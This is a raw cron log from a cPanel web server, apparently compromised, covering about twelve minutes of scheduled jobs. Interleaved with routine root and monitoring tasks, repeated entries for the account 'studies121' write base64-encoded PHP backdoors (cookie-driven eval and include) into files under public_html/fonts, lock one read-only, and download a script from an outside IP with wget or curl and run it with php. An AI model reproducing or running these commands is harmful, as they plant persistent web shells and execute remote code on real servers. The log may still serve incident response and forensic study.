Aug 31 22:21:01 ip-184-168-122-23 CROND[4711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:21:01 ip-184-168-122-23 CROND[4710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:21:01 ip-184-168-122-23 CROND[4712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:21:01 ip-184-168-122-23 CROND[4713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:22:01 ip-184-168-122-23 CROND[4795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:22:01 ip-184-168-122-23 CROND[4796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:22:01 ip-184-168-122-23 CROND[4798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:22:01 ip-184-168-122-23 CROND[4797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:22:01 ip-184-168-122-23 CROND[4803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:23:01 ip-184-168-122-23 CROND[4889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:23:01 ip-184-168-122-23 CROND[4891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:23:01 ip-184-168-122-23 CROND[4893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:23:01 ip-184-168-122-23 CROND[4892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:24:01 ip-184-168-122-23 CROND[5053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:24:02 ip-184-168-122-23 CROND[5055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:24:02 ip-184-168-122-23 CROND[5057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:24:02 ip-184-168-122-23 CROND[5056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:24:02 ip-184-168-122-23 CROND[5058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5144]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5150]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:25:01 ip-184-168-122-23 CROND[5146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:26:01 ip-184-168-122-23 CROND[5231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:26:01 ip-184-168-122-23 CROND[5233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:26:01 ip-184-168-122-23 CROND[5232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:26:01 ip-184-168-122-23 CROND[5234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:26:01 ip-184-168-122-23 CROND[5235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:27:01 ip-184-168-122-23 CROND[5317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:27:01 ip-184-168-122-23 CROND[5316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:27:01 ip-184-168-122-23 CROND[5319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:27:01 ip-184-168-122-23 CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:28:01 ip-184-168-122-23 CROND[5396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:28:01 ip-184-168-122-23 CROND[5400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:28:01 ip-184-168-122-23 CROND[5401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:28:01 ip-184-168-122-23 CROND[5399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:28:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:29:02 ip-184-168-122-23 CROND[5568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:29:02 ip-184-168-122-23 CROND[5571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:29:02 ip-184-168-122-23 CROND[5572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:29:02 ip-184-168-122-23 CROND[5570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:30:01 ip-184-168-122-23 CROND[5656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:30:01 ip-184-168-122-23 CROND[5658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:31:01 ip-184-168-122-23 CROND[5758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:31:01 ip-184-168-122-23 CROND[5759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:31:01 ip-184-168-122-23 CROND[5760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:31:01 ip-184-168-122-23 CROND[5765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:31:01 ip-184-168-122-23 CROND[5764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:32:01 ip-184-168-122-23 CROND[5843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:32:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:32:01 ip-184-168-122-23 CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:32:01 ip-184-168-122-23 CROND[5847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:32:01 ip-184-168-122-23 CROND[5848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:33:01 ip-184-168-122-23 CROND[5938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:33:01 ip-184-168-122-23 CROND[5940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
